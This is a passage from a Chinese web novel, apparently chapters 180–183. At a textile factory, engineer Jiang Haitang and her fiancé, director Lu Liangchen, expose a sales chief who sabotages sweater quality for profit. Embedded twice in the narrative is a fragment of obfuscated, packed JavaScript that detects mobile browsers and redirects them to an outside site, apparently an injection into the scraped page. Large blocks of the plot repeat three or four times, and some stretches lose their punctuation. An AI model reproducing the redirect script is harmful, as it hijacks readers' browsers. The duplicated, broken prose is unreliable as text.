吴秀云和李秋兰似乎都忘了,姜海棠的工作,和他们一点关系都没有。 娘儿两个在屋里商量得热火朝天,连门都没关。 正巧门外有人经过,将这番自私又贪婪的对话听了个清清楚楚。 那人又气又恨,没忍住对着李胜利的宿舍门啐了一口,暗暗为姜海棠打抱不平。 此时的姜海棠并不在纺织厂,她一大早就去了机械厂,关注袜子纺织机的生产进度,尤其是王良才负责维修的那台机器的情况。 等她忙完回到纺织厂时,已经是下午了。 她刚走进办公室,就看到李秋兰一脸堆笑地走了进来。 看着李秋兰那副假惺惺的样子,姜海棠忍不住皱起了眉头。 “嫂子……”李秋兰刚开口,就被姜海棠冷冰冰的打断。 “打住,李秋兰,我不是你嫂子,你嫂子是梁素雅,别叫错了。”姜海棠语气疏离,眼神中满是警惕。 李秋兰心里恨的牙痒痒,可想到自己的目的,只能强压下不满,脸上挤出比哭还难看的笑容。 “海棠姐,你别和我计较,我说错话了,这不是习惯了嘛。”李秋兰按照以前自己对姜海棠撒娇的样子开口说。 姜海棠看着李秋兰刻意讨好的笑容,心中警铃大作。 此刻的李秋兰,年纪尚小,心思都写在脸上,那眼底的算计,又怎么能逃过姜海棠的眼睛。 她不动声色地整理着桌上的图纸,淡淡道:“有事直说吧。” 李秋兰绞着衣角,眼珠转了转:“海棠姐,我听说机械厂那边在搞新机器,你能不能……带带我?我也想学学技术。海棠姐,以前你最疼我了,肯定不会拒绝我,对不对?” 她特意放软了声音,还带着几分恰到好处的撒娇。 姜海棠闻言,手中的动作一顿。 她抬头看向李秋兰,目光犀利如刀,将对方眼中一闪而过的贪婪看得清清楚楚。 “你才几岁?我如何能带你?再说了,你和我有什么关系?你是厂里的职工吗?凭什么让我带你?” 她的语气不冷不热,直接将话题堵死。 李秋兰咬了咬嘴唇,还想再说些什么,却见姜海棠已经低头继续看图纸,一副不愿再谈的模样。 她只好怏怏地离开,临走前还不忘狠狠瞪了姜海棠的背影一眼。 贱人,竟然一点面子都不给她,给她等着,等她哥得手了,她要好好折磨姜海棠,让她知道大小王。 姜海棠看着李秋兰离去的背影,轻轻叹了口气,李家人,果然又不安生了! 正想着,门外突然传来一阵急促的脚步声。 一名办公室的干事探进半个身子:“姜工,陆厂长叫你去办公室,说是广交会的事。” 姜海棠应了一声,连忙整理好图纸,锁上门,朝厂长办公室走去。 推开门,只见陆良辰和谭书记正围在一张铺开的广交会场馆平面图前讨论着什么。 “小姜来了,快过来。”陆良辰招手示意她过去,“我们正在商量展位布置的事,你脑子活,点子多,来给参谋参谋。” 姜海棠走到桌前,目光在图纸上快速扫过,这张图和她昨天晚上给陆良辰的差不多。 “这是最新的展位安排图吗?”姜海棠问。 “差不多。”陆良辰点头。 “我觉得咱们可以把新成立的羊毛衫车间产品放在这个位置,毕竟设备新、工艺好,是咱们的亮点。”她顿了顿,又补充道,“至于传统布料展区,可以设置一个技术展示角。我们厂以前发生过固色度不高的问题,那我们就把我们改良后的色牢度测试过程展示出来,让外商更直观地看到我们的进步。” 谭书记闻言眼前一亮:“这个主意好!不过技术展示会不会涉及保密问题?” “我们可以只展示部分非核心工艺,重点突出成果。”姜海棠解释道,“而且现在国际市场对环保、质量要求越来越高,这种展示反而能增加我们的竞争力。” 陆良辰不住点头:“好,海棠,这件事,可能还需要你劳神费心。我安排韩知秋和康小夏同志全权配合那你的工作。” 姜海棠浅笑着瞪了陆良辰一眼,陆良辰看着,嘴角不由划过一抹笑。 “我这也是没办法了,要是厂里有得用的人,我一定不会让你这么辛苦,不过你放心,等下一次,我们一定有合适的人选。” 姜海棠愣了一下,知道陆良辰看出自己的想法了,她笑着回答:“陆厂长请放心,我保证完成任务!” 谭书记看着两个人这互动,不由笑得灿烂。 “你们小两口这对话,可真有意思。” 从厂长办公室出来,姜海棠忽然就想去看看羊毛衫车间的生产情况。 她刚走到门口,就听到里面传来争吵声。 “这批羊毛衫的领口走线不规整,必须返工!”一个男人的声音响起,有点陌生。 “返工?你知道这要浪费多少时间和材料吗?”一个熟悉的女声响起,“现在工期这么紧,我们必须加快生产!” 姜海棠推门而入,只见一个年轻的小同志正举着一件羊毛衫,脸红脖子粗地和车间女工辩解。 “质量不过关,就算按时完成又有什么用?到了被别人笑话吗?就这样的产品,还去广交会参展,我看,连我们金城都出不去。” 女工还想反驳,看到姜海棠进来,语气稍微缓和了些:“姜工,你评评理。这批货要是返工,肯定会影响我们的产量,百货大楼定了一批羊毛衫呢,我们都在加班加点地生产。” 姜海棠接过质检人员手中的羊毛衫,仔细查看起来。 “质检员同志说得对,就算工期再怎么紧张,质量都必须要有保障。我们厂的羊毛衫才开始生产,如果质量出现问题,会砸了我们的招牌。” “这样的产品,我们确实不敢带到广交会上去,毕竟广交会是展示我们厂实力的重要机会,绝对不能含糊。” 女工本来以为,姜海棠一定会支持她们,没想到,姜海棠根本没有给她们评理。 “同志,你做得很好,我们需要你这样的质检人员!” 质检员不好意思地摸摸脑袋:“这是我应该做的,当不起一句夸。” 张巧红回来的时候,姜海棠的话正好说完,她看着纺织女工不满的表情,疑惑地看向姜海棠。 姜海棠将事情的原委说了一遍:“张巧红同志,你是咱们厂里的老人了,工作一直都认真负责,以后,还是要加强质量监管,不能为了图快,坏了咱们羊毛衫的名声。” “尤其是过几天,又有一批提花机要送过来,到时候,女工的培养一定要做到位,确保每件衣服都保质保量完成。” 张巧红十分不好意思地对姜海棠说:“谢谢您,姜工,我知道了,我以后一定做好监管工作。” 姜海棠没有多说什么,转身离开。 张巧红将几个干活敷衍的女工收拾了一顿,明确说了,要是再不好好干活,就调整到其他岗位上去。 听了这话,几个女工的表情瞬间不好了。 纺织厂现在所有的车间,就属她们车间最风光了,要是被调整出去,就没脸见人了。 不行,以后要认真干活,不能再让人抓住把柄了。 第181章 庙小妖风大 姜海棠走出羊毛衫车间远处的柳树上已经透出鹅黄色的新芽春天就要到了。 她心上却依然沉甸甸的。 羊毛衫看似微小的瑕疵品在她眼中却确实一个危险的信号。 “姜工!“一个急促的声音从身后传来。 姜海棠转身看见刚才和车间女工们据理力争的质检员。 “有事吗?“姜海棠停下脚步。 “我叫张明是质检员姜工有些事我想找您汇报一下。” 姜海棠担心周围有人压低声音说:“你下班之前到我办公室找我这里不宜久留。” 张明点头转身离开。 姜海棠快速回到办公室心里想着今天的事。 不多时候张明过来果然过来了他进门就递给姜海棠一份质量报告单。 “姜工我觉得这事不简单。这批羊毛衫的问题不是偶然的我检查了最近三天的产品领口走线不齐的比例越来越高。” 姜海棠眉头一皱:“你的意思是……有人故意放松了工艺标准?” “我不敢确定但有这个可能。”张明摇摇头“车间里最近流传着一种说法说为了完成百货大楼的订单可以‘适当’降低标准。我怀疑有人在背后煽风点火。” 姜海棠的眼神变得锐利起来金城纺织厂正处于关键时期羊毛衫正在被人们所关注还即将参加广交会如果有人在这时候破坏产品质量…… “你做得很好 张明离开之后姜海棠仔细对比质量报告上的数据这份为期一周的质量报告上的数据显示羊毛衫车间的不良率确实在缓慢上升尤其是领口和袖口部位的走线问题最为突出。 “黎景程你过来一下!”姜海棠站在办公室门口喊。 “姜工您找我?”黎景程立即出现在楼道里。 “小黎同志你帮我查一下最近羊毛衫车间的工艺参数有没有变动?特别是锁边机的设置。不过别说是参数问题就说看一下现在羊毛衫的纺织技术有没有可以改进的地方。” 黎景程一口答应下来:“我今天晚上就过去。” 下班回到家吃饭的时候姜海棠将今天的事对陆良辰说了一遍。 陆良辰也是眉头紧蹙手指在桌面上轻轻敲击。 直觉告诉他这事可能不是表面上看起来这么简单。 “我让赵凯 安排人调查。 因着这事,陆良辰吃完饭就去找赵凯了。 翌日一早,姜海棠正在办公室设计布料图案,张巧红脸色难看地冲了进来。 “姜工,出事了!车间里几个女工闹起来了,说张明故意刁难她们,现在拒绝返工那批问题产品! 姜海棠眉头紧锁,立即站起身:“走,去看看。 羊毛衫车间里,气氛剑拔**张。 七八个女工围在一起,中间站着满头大汗已经快要支撑不住的张明。 地上散落着几十件羊毛衫,正是那批需要返工的产品。 “我们辛辛苦苦做出来的衣服,凭什么说返工就返工?一个扎着两条油亮辫子的年轻女工高声说道,“百货大楼催得那么紧,哪有时间返工? “就是!另一个女工附和道,“领口走线稍微有点不齐算什么?穿在身上根本看不出来!你们这些坐在办公室里的人,根本不知道我们纺织女工有多辛苦。 张明虽然被围在中间,但声音依然坚定:“质量标准就是标准,不能因为赶工期就降低要求。这些产品如果流向市场,会损害我们厂的声誉! “哟,张同志觉悟真高啊!一个阴阳怪气的声音从人群后方传来。 销售科主任王强不知何时出现在了车间,姜海棠刚好赶到,就听到王强这话,她下意识觉得有问题。 这里是生产车间,一个销售科的领导来这里干什么? “你们质检部门就是吹毛求疵,工厂要讲究实际效益。百货大楼的订单要是延误了,损失谁来承担? 姜海棠她大步走上前,笑着说:“王主任,质量问题是原则问题,我们厂绝对不能有不合格的产品流向市场。这批羊毛衫确实不符合标准,必须返工。 王强脸上挂着公式化的笑容:“我当是谁呢,原来是我们未来的厂长夫人啊,这么大的派头,莫不是以为厂子是你们家的了吧? 姜海棠没想到,对方嘴皮子这么利索,但她并没有畏惧,反而盯着王强的目光。 “王主任这话从何说起,我当然觉得厂子是我家,从我到了厂里那天开始,我就当厂子是我家了。难不成,王主任没有厂子是我家的觉悟? 姜海棠偷换概念,反将一军。 王强没想到,姜海棠还善于诡辩,他冷笑一声说:“我不和女人吵,不过,你是研发部门的人,管不到生产车间的事! “我是研发部门的管不到生产车间,难道你一个销售科的,就能过问生产车间的事 ?姜海棠针锋相对。 “当然,市场不等人啊!这批订单关系到厂里的效益,我作为销售科的领导,怎么都不能放任有人破坏厂里的效益,大家说是不是这个道理,我们是不是应该以完成生产任务为重? 几个女工立刻附和起来。 姜海棠注意观察了一下呼应的这几个女工,看起来这几个人也要调查一下才行。 “王主任, 王强的笑容僵了一下,随即又恢复如常:“姜工言重了。羊毛衫又不是精密仪器,有点小瑕疵很正常嘛。消费者更看重的是实惠…… “我们金城纺织厂的产品,绝不能以‘有点小瑕疵’自居!姜海棠打断他,声音清晰而有力,“质量就是我们的生命线。今天降低一点标准,明天再降低一点,用不了多久,‘金城制造’就会变成劣质品的代名词!我相信,每一个热爱厂子的工人,都不会允许这种事发生。 车间里突然安静下来。姜海棠的话像一盆冷水,浇在每个人头上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788096|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >张巧红此时也站了出来:“姜工说得对。光顾着赶产量忽略质量,是不对的。从现在开始,所有不合格产品一律返工,我亲自监督。“ 王强的脸色变得难看,但他很快掩饰过去:“既然两位都这么坚持,那我也不好再说什么。不过,姜工…… 他意味深长地看了姜海棠一眼,“希望你能为今天的决定负责。如果订单延误或者广交会出现问题…… “我负全责。姜海棠毫不犹豫地说。 王强冷哼一声,转身离开。 女工们见王强走了,撑腰的人没了,只好不情不愿地回到各自岗位开始返工。 姜海棠对送自己出门的张巧红说:“你手底下这些人,说不定有小心思,你得多留心,有问题的人,咱们不能用。 张巧红忙点头:“我知道了,姜工,我会注意她们的一举一动。 她好不容易才当上车间负责人,还没转正,要是闹出事,说不定,就转不了正了。 当天晚上,姜海棠回到家里还爱加班整理广交会的参展方案。 赵凯忽然来了。 “我们的人今天发现,王主任和百货大楼采购科的赵科长在一起。 姜海棠的心沉了一下:“你听到他们说什么了? “王主任说……说我们厂的羊毛衫标准太高,要生产出一些瑕 疵品,只有瑕疵品才有利可图。”赵凯气愤得不得了。 赵凯这么一说,姜海棠还有什么不明白的? 故意弄出瑕疵品,等送到百货大楼的时候,再以质量问题退回来,甚至要求纺织厂降价出售,从中产生的差价,就会被相关人分走。 这还是最好的可能,弄不好,还有可能是有预谋的破坏行动,目的是损害金城纺织厂的声誉,破坏金城纺织厂在广交会上赚取外汇。 二人正说话,陆良辰回来了。 “赵凯,你调查清楚了?”陆良辰一边脱下大衣,一边问。 赵凯又将发现的情况说了一遍。 陆良辰将目光看向姜海棠,姜海棠将自己的担忧也说了出来。 陆良辰听完,眉头紧锁:“金城纺织厂这地方,还真是庙小妖风大,水浅王八多啊!” 从他到了金城纺织厂,安生的时候就不多,看起来,有些人和事,如果不能连根拔起,必然影响未来的发展。 “问题集中在领口和袖口部位,我怀疑可能是有人故意调整了锁边机的参数,黎景程这两天正在调查。”姜海棠递又说。 陆良辰沉思片刻:“海棠,参数的事交给你,赵凯,你要继续盯着王强,尤其要调查王强和李胜利这一批人有没有关系。至于厂里出现次品这个问题,我会安排,必须全部返工,一件次品都不能流出厂外。” 不管多大的妖风,不管多少王八,他都接下来,倒是要看看,是他厉害,还是这些妖风厉害。 “是!”赵凯立即点头应下,急匆匆地又走了。 第182章 怎么这么难? 姜海棠第二日一早,直接去了车间。 羊毛衫车间里,机器轰鸣,女工们忙碌地穿梭其间。 姜海棠注意到,几个之前**的女工看到她时,眼神闪烁,动作也变得不自然起来。 张巧红迎上来:“姜工,返工进度比预期慢,有些女工.不太配合。” 姜海棠点点头,走向锁边机工位,黎景程正在这边和操作工小王说话。 姜海棠蹲下身,仔细观察机器。 “姜工,您看这个干什么啊?”小王手忙脚乱地想要制止姜海棠。 “最近出现不少质量问题,我觉得有可能是机器本身存在问题,小黎同志,你觉得呢?” 黎景程立即说:“姜工,您的想法和我想的完全一样。要真的是机器质量有问题,那我们可得找机械厂说去。” 姜海棠趁着别人不注意,给她一个赞许的表情。 “你好好检查一下,要是机械厂的问题,咱可不能自已承担损失。” “好嘞,我这就看。” 两个人一唱一和,就将检查机器的事情定了下来。 “小王,你也不想看到咱们厂里无缘无故承担损失吧?” 看到小王还想阻止,张巧红立即开口。 小王还想阻止,可没有了正常的理由。咋说话,才是真的要引起别人的怀疑。 黎景程和姜海棠两个人一起对机器进行检查,大概半个小时之后,终于确定。 领口走线的密度被调低了0.2个刻度。这个微小的变动足以导致走线不齐的问题,却又不易被察觉。 姜海棠站起来,目光犀利地盯着小王看。 小王被姜海棠看得如坐针毡一般难受,她的脸色逐渐苍白。 “还不说实话吗?谁让你擅自对机器进行调整的?”姜海棠锐利的目光直视小王,不给她任何回避的机会。 小王的心虚地嗫嚅:“我……我不知道,可能是机器自己……” “撒谎!”姜海棠厉声喝道。 “王小珍同志,如果你坚持不说,那就只能让保卫科的同志找你了!你这是破坏生产,这个罪名,够不够你被送去农场几年?”黎景程也严肃地对小王说。 小王终于崩溃了:“是……是王主任说可以调的!他说这样能提高产量,能让我们多发奖金……” 车间里顿时一片哗然。 姜海棠的心沉到谷底,果然是王强吗? 就在这时,车间广播突然响起:“请姜海棠同志立即到厂部会议室, 紧急会议,重复,请姜海棠同志立即到厂部会议室……” 姜海棠和张巧红对视一眼,都从对方眼中看到了不安。这场关于质量的斗争,才刚刚开始。 姜海棠快步穿过厂区,厂部会议室的窗户透出明亮的灯光,在灰蒙蒙的晨色中格外显眼。 推开会议室的门,一股浓重的烟味扑面而来。 长桌周围已经坐满了人——各车间主任、科室负责人,还有坐在首位的陆良辰。 姜海棠将目光投向王强,他手中正拿着一件羊毛衫,脸上带着胜券在握的表情。 “姜工终于来了,真是让我们好等啊!”王强声音洪亮,“我们正说到你们技术科要求的返工问题。” 姜海棠不动声色地走到自己的位置坐下:“王主任有什么指教?” 王强没有直接回答,而是转向所有人:“各位,刚刚收到百货大楼的正式通知。” 他举起一份文件,“他们要求我们三天内交付首批羊毛衫,否则将会向轻工局投诉,我们没有按期完成任务。“ 会议室里顿时响起低声议论。 王强满意地看着这一幕,继续道:“姜工,你知道这意味着什么吗?” 所有人的目光都集中在姜海棠身上。 她缓缓站起身,声音平静却有力:“这意味着,我们金城纺织厂宁愿承担一时的损失,也不愿让次品流入市场,砸了自己的招牌。关于这件事,我相信,只要对轻工局的领导汇报清楚,轻工局的领导会酌情处置。” “次品?”王强夸张地提高声调,“姜工的标准未免太高了吧?不过是领口走线稍微有些不齐,消费者根本不会在意!” 姜海棠从公文包里取出那件问题羊毛衫和参数记录本:“这不是稍微不齐,而是严重偏离工艺标准。更重要的是……”她目光如炬地看向王强,“这不是偶然失误,经过我们调查核实,是有人故意调低了锁边机参数导致的!” 会议室瞬间安静下来。 王强的脸色变了变,但很快恢复镇定。 “姜工,说话要有证据,机器参数变动有很多可能……” “操作工王小珍已经承认,”姜海棠打断他,“是受你指示才调整参数的。” 王强的脸一下子涨得通红:“胡说八道!一个小工人的话也能当真?她这是污蔑领导!陆厂长,你可不能偏听偏信,我好歹是咱们厂里的中层领导,怎么可能做损害厂子利益的事?” 王强重点强调了一下中层领导四个字。 陆良辰和 谭**等人都蹙眉。 厂里现在副厂长空缺,听说,王强有可能升任副厂长,他这是明晃晃的叫嚣呢。 “不止王小珍,”黎景程突然推门而入,手里拿着一个小本子,“我刚刚检查了车间全部六台锁边机,其中三台参数都被调低了相同的幅度。陆厂长,这是记录。” 陆良辰接过记录本仔细查看。 会议室里的气氛凝固了,所有人都屏息等待着厂长的反应。 终于,陆良辰开口了。 “王强同志,你有什么要解释的?” 王强的额头渗出细密的汗珠:“陆厂长,我这是为了提高生产效率啊!现在市场竞争这么激烈,我们得想办法降低成本……” “所以就不顾质量?”陆良辰的声音突然严厉起来,“王强,你忘了我们金城厂是怎么起家的?是靠偷工减料吗?是靠以次充好吗?” 王强被问得哑口无言,只能悻悻地坐下。 陆厂长站起身,环视众人:“同志们,不管在什么时候,都要坚守‘质量第一’的信念!两年前,广交会上被退货的两批质量问题的布料,还不足以让各位引以为戒吗?” 现场气氛越发沉默。 李连成毫不犹豫:“瑕疵产品全部返工,实在无法修复的,必须销毁,绝不能流入市场。” “那交货期限……”有人忍不住提醒。 “推迟。”陆厂长一锤定音,“我会亲自向百货大楼解释。如果他们不能接受我们对质量的坚持,那我们就向轻工局说明情况!” 众人都没想到,陆良辰会如此坚持,毕竟只要睁一眼闭一眼,把货送到百货大楼就行了,何必这么麻烦? 会议结束后,众人陆续离开。 王强最后一个起身,经过姜海棠身边时,压低声音道:“姜海棠,别以为这事就这么完了。你和陆良辰,都不会有好结果!” 姜海棠平静地注视着他:“王主任,质量问题是原则问题,没有妥协余地。至于我们能不能有好结果,不是你说了算的,你还是先关心关心自己吧!” 王强冷哼一声,摔门而去。 “姜工,你太厉害了!”黎景程兴奋地说,“这下王强再也不敢在质量上动手脚了。” 姜海棠摇摇头:“事情没这么简单。王强在轻工局有关系,他不会轻易认输的。” 她转向一直沉默的张巧红:“返工进度还是太慢,我们需要想办法加快。” 张巧红咬了咬嘴唇:“有些女工还是不太配合,尤其是那几个跟王 强走得近的……” 她现在都开始怀疑,是不是自己能力不足,才出现现在这样的局面了。 “如果有些同志真的不能继续胜任工作,可以向厂领导打报告,适当进行调整,咱们不是已经培养了不少工人了吗?”姜海棠说完又思考了一下:“再成立一个质量监督小组,你其你在带队,分班次盯紧每一道工序。同时,对返工表现好的工人给予表扬。” 黎景程眼睛一亮:“这个办法好!” 三人正说着,厂办的小李干事匆匆跑来:“姜工,陆厂长让你马上去他办公室一趟,说是有重要事情。” 陆良辰的办公室门半掩着,姜海棠轻轻敲了敲。 “进来。“陆厂长的声音有些疲惫。 姜海棠推门而入,发现陆厂长正在整理文件柜,桌上放着一个打开的行李箱。 “良辰,你这是……” “海棠,我刚接到通知,要去省里参加一周的培训班。”他叹了口气,“时间点真是不巧,厂里现在这个情况……” 陆良辰怀疑,让自己离开,也是有预谋的,只是,没有证据不能说。 而且,他已经尝试沟通能不能不去,轻工局那边不同意。 姜海棠立刻明白了陆良辰的担忧:“你放心吧,我会盯紧质量问题的,也会照顾好家里。” 陆厂长摇摇头:“海棠,不管什么时候,你首先要保障自己的安全。” “你怀疑这事是被人操纵了?” “王强的姐夫是轻工局副局长,海棠,你也不要太担心,我刚才已经给胡厂长打电话了,他在总局,说不定能有办法。” 姜海棠感到一阵寒意袭来,要认真做点事,怎么就这么难呢? 强走得近的……” 她现在都开始怀疑,是不是自己能力不足,才出现现在这样的局面了。 “如果有些同志真的不能继续胜任工作,可以向厂领导打报告,适当进行调整,咱们不是已经培养了不少工人了吗?”姜海棠说完又思考了一下:“再成立一个质量监督小组,你其你在带队,分班次盯紧每一道工序。同时,对返工表现好的工人给予表扬。” 黎景程眼睛一亮:“这个办法好!” 三人正说着,厂办的小李干事匆匆跑来:“姜工,陆厂长让你马上去他办公室一趟,说是有重要事情。” 陆良辰的办公室门半掩着,姜海棠轻轻敲了敲。 “进来。“陆厂长的声音有些疲惫。 姜海棠推门而入,发现陆厂长正在整理文件柜,桌上放着一个打开的行李箱。 “良辰,你这是……” “海棠,我刚接到通知,要去省里参加一周的培训班。”他叹了口气,“时间点真是不巧,厂里现在这个情况……” 陆良辰怀疑,让自己离开,也是有预谋的,只是,没有证据不能说。 而且,他已经尝试沟通能不能不去,轻工局那边不同意。 姜海棠立刻明白了陆良辰的担忧:“你放心吧,我会盯紧质量问题的,也会照顾好家里。” 陆厂长摇摇头:“海棠,不管什么时候,你首先要保障自己的安全。” “你怀疑这事是被人操纵了?” “王强的姐夫是轻工局副局长,海棠,你也不要太担心,我刚才已经给胡厂长打电话了,他在总局,说不定能有办法。” 姜海棠感到一阵寒意袭来,要认真做点事,怎么就这么难呢? 强走得近的……” 她现在都开始怀疑,是不是自己能力不足,才出现现在这样的局面了。 “如果有些同志真的不能继续胜任工作,可以向厂领导打报告,适当进行调整,咱们不是已经培养了不少工人了吗?”姜海棠说完又思考了一下:“再成立一个质量监督小组,你其你在带队,分班次盯紧每一道工序。同时,对返工表现好的工人给予表扬。” 黎景程眼睛一亮:“这个办法好!” 三人正说着,厂办的小李干事匆匆跑来:“姜工,陆厂长让你马上去他办公室一趟,说是有重要事情。” 陆良辰的办公室门半掩着,姜海棠轻轻敲了敲。 “进来。“陆厂长的声音有些疲惫。 姜海棠推门而入,发现陆厂长正在整理文件柜,桌上放着一个打开的行李箱。 “良辰,你这是……” “海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陆良辰怀疑,让自己离开,也是有预谋的,只是,没有证据不能说。 而且,他已经尝试沟通能不能不去,轻工局那边不同意。 姜海棠立刻明白了陆良辰的担忧:“你放心吧,我会盯紧质量问题的,也会照顾好家里。” 陆厂长摇摇头:“海棠,不管什么时候,你首先要保障自己的安全。” “你怀疑这事是被人操纵了?” “王强的姐夫是轻工局副局长,海棠,你也不要太担心,我刚才已经给胡厂长打电话了,他在总局,说不定能有办法。” 姜海棠感到一阵寒意袭来,要认真做点事,怎么就这么难呢? 强走得近的……” 她现在都开始怀疑,是不是自己能力不足,才出现现在这样的局面了。 “如果有些同志真的不能继续胜任工作,可以向厂领导打报告,适当进行调整,咱们不是已经培养了不少工人了吗?”姜海棠说完又思考了一下:“再成立一个质量监督小组,你其你在带队,分班次盯紧每一道工序。同时,对返工表现好的工人给予表扬。” 黎景程眼睛一亮:“这个办法好!” 三人正说着,厂办的小李干事匆匆跑来:“姜工,陆厂长让你马上去他办公室一趟,说是有重要事情。” 陆良辰的办公室门半掩着,姜海棠轻轻敲了敲。 “进来。“陆厂长的声音有些疲惫。 姜海棠推门而入,发现陆厂长正在整理文件柜,桌上放着一个打开的行李箱。 “良辰,你这是……” “海棠,我刚接到通知,要去省里参加一周的培训班。”他叹了口气,“时间点真是不巧,厂里现在这个情况……” 陆良辰怀疑,让自己离开,也是有预谋的,只是,没有证据不能说。 而且,他已经尝试沟通能不能不去,轻工局那边不同意。 姜海棠立刻明白了陆良辰的担忧:“你放心吧,我会盯紧质量问题的,也会照顾好家里。” 陆厂长摇摇头:“海棠,不管什么时候,你首先要保障自己的安全。” “你怀疑这事是被人操纵了?” “王强的姐夫是轻工局副局长,海棠,你也不要太担心,我刚才已经给胡厂长打电话了,他在总局,说不定能有办法。” 姜海棠感到一阵寒意袭来,要认真做点事,怎么就这么难呢? 强走得近的……” 她现在都开始怀疑,是不是自己能力不足,才出现现在这样的局面了。 “如果有些同志真的不能继续胜任工作,可以向厂领导打报告,适当进行调整,咱们不是已经培养了不少工人了吗?”姜海棠说完又思考了一下:“再成立一个质量监督小组,你其你在带队,分班次盯紧每一道工序。同时,对返工表现好的工人给予表扬。” 黎景程眼睛一亮:“这个办法好!” 三人正说着,厂办的小李干事匆匆跑来:“姜工,陆厂长让你马上去他办公室一趟,说是有重要事情。” 陆良辰的办公室门半掩着,姜海棠轻轻敲了敲。 “进来。“陆厂长的声音有些疲惫。 姜海棠推门而入,发现陆厂长正在整理文件柜,桌上放着一个打开的行李箱。 “良辰,你这是……” “海棠,我刚接到通知,要去省里参加一周的培训班。”他叹了口气,“时间点真是不巧,厂里现在这个情况……” 陆良辰怀疑,让自己离开,也是有预谋的,只是,没有证据不能说。 而且,他已经尝试沟通能不能不去,轻工局那边不同意。 姜海棠立刻明白了陆良辰的担忧:“你放心吧,我会盯紧质量问题的,也会照顾好家里。” 陆厂长摇摇头:“海棠,不管什么时候,你首先要保障自己的安全。” “你怀疑这事是被人操纵了?” “王强的姐夫是轻工局副局长,海棠,你也不要太担心,我刚才已经给胡厂长打电话了,他在总局,说不定能有办法。” 姜海棠感到一阵寒意袭来,要认真做点事,怎么就这么难呢? 第183章 被带走 王强这样的人难道就没有办法处理了吗? 就因为他有个能干的大权在握的姐夫在厂里为非作歹就无人制约? 看出她的担忧陆良辰又说:“你也不要太担心我已经有解决的法子了我参加培训之前会先去一趟省厅我相信省厅的领导会给我们一个公道。” “海棠我没想到小小一个金城纺织厂里问题这么多风险这么大。”陆良辰拉着姜海棠的手 如果不是自己的原因海棠或许不用承担这么多的风险。 姜海棠轻声说:“我们既然在一起那就是一体的所有的风险我都会陪着你一起走过。” 陆良辰心中的感动可想而知他伸出有力的手臂轻轻的将姜海棠拥抱在怀里。 离开厂长办公室姜海棠直接去了车间。 工人们正在休息三三两两地聚在一起吃饭聊天王小珍独自坐在角落眼睛红肿显然哭过。 姜海棠走过去在她对面坐下:“小王同志怎么一个人?” 王小珍吓了一跳手中的饭盒差点掉在地上:“姜、姜工……” “不要有负担“姜海棠温和地说“我知道你也是受人指使现在厂里需要你的配合。” 王小珍抬起头眼中闪过一丝希望:“姜工厂里不处分我?“ “那要看你的表现。“姜海棠压低声音“王强平时都和哪些人来往密切?除了诱导你们调整机器参数他还做过什么?“ 王小珍犹豫了一下左右看看没人注意才小声道:“王主任经常请车间里几个姐妹吃饭说以后要提拔我们……上个月他还让我们把一些不合格的羊毛线混进正品里用……” 姜海棠心头一震:“有多少这样的次品布料被使用了?” “大概……五六次吧。”王小珍低下头“都用在百货大楼那批订单上了……” 姜海棠真是头疼了事情严重了。 原料质量问题比做工问题更难发现但一旦出现问题后果也更严重可能会引起大面积开线、缩水甚至皮肤过敏。 “小王从现在开始你暗中留意那几个和王强走得近的工人有什么异常立即告诉我。”姜海棠严肃地说“这是你将功补过的机会。” 王小珍连连点头:“我一定配合姜工!” 王小珍没有考虑过姜海棠说了不算这个可能毕竟姜海棠可是陆厂长的对象她敢说就一定能做到。 陆良辰走了 王强更加肆无忌惮起来他穿着擦得亮闪闪的皮鞋头发梳得油光发亮一副志得意满的样子。 “陆厂长既然去学习了那我就暂时承担责任。为了确保百货大楼订单按时交付即日起成立生产突击队由我亲自带队加班加点完成任务。我相信只要我们全体职工能齐心协力肯定能按时完成百货大楼的订单。 姜海棠立即反驳:“王主任质量问题还没解决盲目赶工只会导致更多次品。” 王强皮笑肉不笑地说:“姜工多虑了。我已经和百货大楼达成共识他们对羊毛衫上的微小瑕疵表示理解。毕竟价格上我们已经给了优惠嘛。“ 这话让姜海棠心头警铃大作。 王强不仅准备继续生产次品还擅自降低了出厂价! 这完全是为了自己的利益败坏厂子的信誉、降低厂里的利润。 “我反对这个决定从今天开始没有质检部门的签字所有的产品都不能出厂。” 王强没想到就算陆良辰不在姜海棠还能如此强势他脸上的笑容消失了。 “姜海棠同志请注意你的立场!你只是一个研发部门的工程师。” “也请王主任注意你的立场你只是销售科的负责人。” 现场的气氛骤然紧张所有人都屏住呼吸看着这场剑拔**张的对峙。 就在这千钧一发之际办公室的门被推开一个意想不到的身影出现在门口。 “陆厂长?您怎么“王强惊讶地站起身。 陆厂长面色凝重:“刚接到局里电话培训班推迟了。” 他走到人群中间“正好我听说你们在讨论百货大楼订单的事我也有些事需要让大家知道。” 王强急忙解释:“陆厂长我是考虑到……” “不用说了。”陆厂长抬手制止他“我刚才拿到了一件返工产品。” 他从公文包里拿出一件羊毛衫当众翻开领口“大家看看 众人凑近一看只见羊毛衫的边缘线头稀疏缝线松垮甚至能看出来用的是劣质毛线。 “这……”王强脸色煞白“这不可能……” “王强你用劣质毛线替换合格的羊毛线私下将优质毛线倒卖侵吞国家财产。” “更严重的是”陆厂长又拿出几张单据“还将出厂价降低15%却未向厂里领导报告。这种行为涉嫌渎职!” “两罪相加你觉得你应该受到什么 样的处理?” 现场一片哗然。 姜海棠已经从王小珍的口中得知用了震惊的看着这一切没想到陆良辰已经调查到了这么多多。 陆良辰宣布了临时决定:“即日起那批问题羊毛衫全部封存等待进一步处理。至于王强同志的问题厂里已经向**部门报案。” 王强面如死灰却还是心有不甘他抓起公文包打算跑路。 谁料还没有出门就看到两名**出现在门口。 